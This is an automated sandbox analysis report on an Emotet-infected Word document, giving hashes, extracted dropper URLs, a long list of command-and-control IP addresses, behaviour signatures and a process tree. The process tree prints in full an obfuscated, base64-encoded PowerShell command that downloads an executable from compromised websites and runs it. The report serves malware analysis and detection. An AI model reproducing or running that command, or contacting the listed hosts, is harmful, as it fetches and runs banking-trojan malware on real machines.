emotet | 4b28c06d34e565248875bbf66d52172c0b485192dcaab8144efa61fd00fddb5a

General

Target
emotet_e1_4b28c06d34e565248875bbf66d52172c0b485192dcaab8144efa61fd00fddb5a_2020-09-22__154734930642._doc.doc
Size 153KB
Sample200922-dn965tcvln
SHA256 4b28c06d34e565248875bbf66d52172c0b485192dcaab8144efa61fd00fddb5a
MD5 ef58690f035a1464203b02b93bf5afb3
SHA1 89833776c4b0f1bbd15d66c1f6007ee39408630a
SHA512 1f48b275fc0f9835dbaeb89dbdcc5170223a9bad3e6bc3d03ad487c31a6bc4af5c5a517844e79f0a4c7dfd2aa8e9bca4144b179ab6e3470c769c5ceb70853e42
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://syracusecoffee.com/customer/jzN/
exe.dropper
http://intrasistemas.com/cgi-bin/6/
exe.dropper
http://rocketviral.com/bv/O/
exe.dropper
http://shop.homenhealthy.com/wp-includes/xt/
exe.dropper
http://raintoday.org/wp-admin/e/
exe.dropper
https://qualitychildcarepreschool.com/emqblk/292416929446266/O/
exe.dropper
http://thammynhp.com/wp-includes/H/

Extracted

Family

emotet

C2

76.168.54.203:80
51.38.124.206:80
38.88.126.202:8080
54.37.42.48:8080
5.196.35.138:7080
177.129.17.170:443
87.106.46.107:8080
68.183.190.199:8080
185.183.16.47:80
186.103.141.250:443
64.201.88.132:80
70.32.84.74:8080
68.69.155.181:80
82.76.111.249:443
111.67.12.221:8080
60.93.23.51:80
104.131.41.185:8080
92.24.50.153:80
191.182.6.118:80
61.197.92.216:80
213.197.182.158:8080
137.74.106.111:7080
138.97.60.141:7080
187.162.248.237:80
110.142.219.51:80
51.159.23.217:443
192.241.143.52:8080
190.24.243.186:80
51.255.165.160:8080
212.71.237.140:8080
190.115.18.139:8080
174.113.69.136:80
178.250.54.208:8080
190.2.31.172:80
45.16.226.117:443
50.121.220.50:80
217.13.106.14:8080
217.199.160.224:7080
80.11.164.185:80
172.104.169.32:8080
77.90.136.129:8080
123.51.47.18:80
82.230.1.24:80
74.58.215.226:80
185.94.252.27:443
181.30.61.163:443
111.67.77.202:8080
96.227.52.8:443
2.36.95.106:80
78.249.119.122:80
209.236.123.42:8080
185.215.227.107:443
188.135.15.49:80
83.169.21.32:7080
96.245.123.149:80
216.47.196.104:80
50.28.51.143:8080
5.189.178.202:8080
74.136.144.133:80
72.47.248.48:7080
190.190.148.27:8080
189.2.177.210:443
98.13.75.196:80
185.178.10.77:80
181.129.96.162:8080
67.247.242.247:80
170.81.48.2:80
199.203.62.165:80
204.225.249.100:7080
77.106.157.34:8080
68.183.170.114:8080
45.46.37.97:80
70.32.115.157:8080
190.163.31.26:80
94.176.234.118:443
95.9.180.128:80
104.131.103.37:8080
35.143.99.174:80
91.105.94.200:80
190.6.193.152:8080
155.186.0.121:80
219.92.13.25:80
12.162.84.2:8080
220.109.145.69:80
177.74.228.34:80
77.238.212.227:80
61.92.159.208:8080
186.70.127.199:8090
45.33.77.42:8080
152.169.22.67:80
192.241.146.84:8080
185.94.252.12:80
177.73.0.98:443
65.36.62.20:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3136	3952	POWeRsHeLL.exe	72

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2128-16-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/2128-16-0x0000000000440000-0x0000000000452000-memory.dmp	emotet
behavioral2/memory/2128-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/2128-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/1472-20-0x00000000005C0000-0x00000000005D2000-memory.dmp	emotet
behavioral2/memory/1472-20-0x00000000005C0000-0x00000000005D2000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
27	3136	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2128	Htammz.exe
1472	fphc.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\NMAA\fphc.exe	Htammz.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3136	POWeRsHeLL.exe
3136	POWeRsHeLL.exe
3136	POWeRsHeLL.exe
1472	fphc.exe
1472	fphc.exe
1472	fphc.exe
1472	fphc.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3136	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE
408	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3136 wrote to memory of 2128	3136	POWeRsHeLL.exe	79
PID 3136 wrote to memory of 2128	3136	POWeRsHeLL.exe	79
PID 3136 wrote to memory of 2128	3136	POWeRsHeLL.exe	79
PID 2128 wrote to memory of 1472	2128	Htammz.exe	80
PID 2128 wrote to memory of 1472	2128	Htammz.exe	80
PID 2128 wrote to memory of 1472	2128	Htammz.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_4b28c06d34e565248875bbf66d52172c0b485192dcaab8144efa61fd00fddb5a_2020-09-22__154734930642._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:408

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABPAHoAbAByAHIAYgBoAD0AKAAoACcAUgA1ADcAJwArACcAOAAnACkAKwAoACcAYgB2ACcAKwAnAGgAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAJwArACcAdABlAG0AJwApACAAJABFAE4AdgA6AFUAUwBlAHIAUAByAG8ARgBJAGwARQBcAFcAawAyAHEAYwBtAFYAXABrAEYAMgB1ADUANQA4AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBjAHUAcgBJAFQAeQBgAFAAUgBvAHQATwBgAGMAbwBsACIAIAA9ACAAKAAnAHQAJwArACcAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAyACcAKwAnACwAJwArACcAIAB0AGwAcwAxADEALAAnACsAJwAgAHQAbABzACcAKQApADsAJABMADAAaABhAHAAZABiACAAPQAgACgAKAAnAEgAJwArACcAdABhAG0AJwApACsAJwBtAHoAJwApADsAJABUAGMANwByAHoAdgB3AD0AKAAoACcAUABiAGgAcgAnACsAJwAyACcAKQArACcAMwB1ACcAKQA7ACQAQwB5AGsAOAA2AG0AZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBXACcAKwAnAGsAMgBxAGMAbQB2AHsAMAB9AEsAZgAnACsAJwAyACcAKwAnAHUAJwArACcANQA1ACcAKwAnADgAJwArACcAewAnACsAJwAwAH0AJwApACAAIAAtAGYAIAAgAFsAQwBoAGEAcgBdADkAMgApACsAJABMADAAaABhAHAAZABiACsAKAAoACcALgBlACcAKwAnAHgAJwApACsAJwBlACcAKQA7ACQAVgBjADMAMwBpAHIAeQA9ACgAKAAnAFYAMAAnACsAJwB5AGoAbAAnACkAKwAnADUAJwArACcAdgAnACkAOwAkAEIAegBwAHAAZQAzADkAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AVwBlAGIAQwBsAEkAZQBOAHQAOwAkAEgANQAzAGwANwBqAHcAPQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoALwAvAHMAJwArACcAeQAnACkAKwAnAHIAJwArACgAJwBhAGMAdQBzAGUAJwArACcAYwBvACcAKQArACgAJwBmAGYAZQAnACsAJwBlACcAKQArACgAJwAuAGMAbwBtAC8AYwAnACsAJwB1AHMAdAAnACsAJwBvACcAKwAnAG0AZQAnACsAJwByACcAKQArACgAJwAvACcAKwAnAGoAegBOAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAnACkAKwAoACcALwAnACsAJwBpAG4AJwApACsAKAAnAHQAcgBhAHMAaQAnACsAJwBzACcAKwAnAHQAZQBtAGEAJwApACsAKAAnAHMALgBjAG8AJwArACcAbQAnACkAKwAnAC8AJwArACgAJwBjAGcAJwArACcAaQAtACcAKQArACgAJwBiAGkAbgAvACcAKwAnADYAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACcAOgAnACsAKAAnAC8ALwByACcAKwAnAG8AJwApACsAKAAnAGMAJwArACcAawBlACcAKwAnAHQAdgBpACcAKQArACgAJwByAGEAbAAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAvACcAKQArACgAJwBiAHYALwAnACsAJwBPACcAKQArACcALwAqACcAKwAnAGgAJwArACcAdAB0ACcAKwAoACcAcAA6AC8ALwAnACsAJwBzAGgAbwBwACcAKQArACgAJwAuAGgAbwBtAGUAbgBoACcAKwAnAGUAJwArACcAYQBsACcAKQArACgAJwB0AGgAeQAnACsAJwAuACcAKQArACgAJwBjAG8AbQAvACcAKwAnAHcAcAAtAGkAJwApACsAKAAnAG4AYwAnACsAJwBsAHUAZABlAHMALwAnACkAKwAoACcAeAB0AC8AJwArACcAKgAnACkAKwAnAGgAJwArACgAJwB0AHQAJwArACcAcAAnACsAJwA6AC8ALwAnACkAKwAnAHIAJwArACgAJwBhACcAKwAnAGkAbgAnACsAJwB0AG8AZABhACcAKwAnAHkALgBvAHIAZwAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQBpAG4ALwAnACsAJwBlAC8AJwApACsAJwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwBzADoALwAnACsAJwAvACcAKQArACgAJwBxAHUAJwArACcAYQAnACkAKwAoACcAbABpACcAKwAnAHQAeQBjAGgAJwArACcAaQBsACcAKQArACgAJwBkACcAKwAnAGMAYQAnACkAKwAoACcAcgBlACcAKwAnAHAAJwApACsAKAAnAHIAJwArACcAZQBzAGMAaABvAG8AbAAnACsAJwAuAGMAbwBtAC8AJwApACsAKAAnAGUAJwArACcAbQAnACsAJwBxAGIAbABrAC8AJwApACsAJwAyACcAKwAoACcAOQAnACsAJwAyADQAMQA2ADkAJwApACsAKAAnADIAOQAnACsAJwA0ACcAKQArACgAJwA0ADYAMgAnACsAJwA2ADYAJwApACsAJwAvACcAKwAnAE8ALwAnACsAKAAnACoAJwArACcAaAB0AHQAcAA6AC8ALwB0AGgAYQAnACsAJwBtAG0AeQBuACcAKwAnAGgAJwApACsAJwBwACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQAnACsAJwBpACcAKwAnAG4AYwBsAHUAJwArACcAZABlACcAKwAnAHMALwBIAC8AJwApACkALgAiAFMAcABsAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBhAHYAcAB2AHUAcwA9ACgAKAAnAEIAJwArACcAMQBqACcAKQArACcANwAnACsAKAAnADYAJwArACcAZAByACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQARQBsADMANwB3AGMAZQAgAGkAbgAgACQASAA1ADMAbAA3AGoAdwApAHsAdAByAHkAewAkAEIAegBwAHAAZQAzADkALgAiAGQATwB3AE4ATABPAEEAYABEAGAARgBJAGwAZQAiACgAJABFAGwAMwA3AHcAYwBlACwAIAAkAEMAeQBrADgANgBtAGYAKQA7ACQAUwAzAGcAagB1ADkAcQA9ACgAKAAnAEsAJwArACcAdAB4ADIAOAAnACkAKwAnAG0ANQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAgACQAQwB5AGsAOAA2AG0AZgApAC4AIgBsAGAARQBuAGAARwBUAGgAIgAgAC0AZwBlACAAMwA1ADcAMQA3ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEMAeQBrADgANgBtAGYAKQA7ACQATgB4ADEAZwBmAGcAawA9ACgAKAAnAEsAMQAnACsAJwB0ACcAKQArACcAaAAnACsAKAAnADQAcwAnACsAJwAyACcAKQApADsAYgByAGUAYQBrADsAJABKAHUAdAB5AGwAZQA5AD0AKAAoACcASQBhACcAKwAnAGIAJwApACsAJwA4ADMAJwArACcAcQAxACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBvAG0AcgAzAGQAdgA9ACgAKAAnAFcAMQBnAGgAJwArACcAOAAnACkAKwAnAGMAJwArACcAdwAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3136
- C:\Users\Admin\Wk2qcmv\Kf2u558\Htammz.exe
  "C:\Users\Admin\Wk2qcmv\Kf2u558\Htammz.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2128
- - C:\Windows\SysWOW64\NMAA\fphc.exe
    "C:\Windows\SysWOW64\NMAA\fphc.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:1472

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/408-0-0x00007FFB9EDA0000-0x00007FFB9F466000-memory.dmp

Download

memory/1472-20-0x00000000005C0000-0x00000000005D2000-memory.dmp

Download

memory/2128-16-0x0000000000440000-0x0000000000452000-memory.dmp

Download

memory/2128-17-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/3136-10-0x00007FFB92C80000-0x00007FFB9366C000-memory.dmp

Download

memory/3136-11-0x000001FC6A3F0000-0x000001FC6A3F1000-memory.dmp

Download

memory/3136-12-0x000001FC6A610000-0x000001FC6A611000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads